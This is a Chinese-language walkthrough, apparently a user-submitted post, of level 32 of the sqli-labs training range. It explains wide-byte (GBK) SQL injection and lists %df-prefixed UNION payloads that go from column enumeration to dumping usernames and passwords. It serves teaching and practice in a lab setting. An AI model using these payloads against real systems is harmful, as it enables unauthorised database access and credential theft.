sqlilab靶场 —— 第32关
使用宽字节的用法进行SQL注入
宽字节是什么
“宽字节” 本质是多字节字符编码(如 GBK、GB2312、Big5 等)的通俗叫法,这类编码以2 个字节为单位表示一个字符(区别于 ASCII 单字节编码,仅用 1 个字节)。
- 单字节(ASCII):仅覆盖 0-127 的字符(如数字、英文字母),每个字符占 1 字节;
- 宽字节(如 GBK):覆盖中文、日文等双字节字符,范围包含0x8140-0xFEFE(排除部分无效区间),且第一个字节高位为 1(即≥0x80),第二个字节无强制限制。
宽字节注入的核心触发点:宽字节编码会将单字节的转义符(如\,ASCII 码 0x5c)与前一个字节拼接成一个合法的宽字节字符,从而绕过单引号 / 双引号的转义防护,实现 SQL 注入。
判断注入类型
先一步进行测试
进一步使用宽字节进行测试
获取数据库信息
判断数据表有几列
进一步判断有没有更多的列:
结论:只有三列
判断哪几列能够使用
- ?id=-1%df' UNION SELECT 1,2,3 --+
复制代码
爆破数据库名
- ?id=-1%df' UNION SELECT 1,database(),3 --+
复制代码
爆表名
- ?id=-1%df' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+
复制代码
爆字段名
- ?id=-1%df' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273 --+
复制代码
获取目标信息
- ?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users --+
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |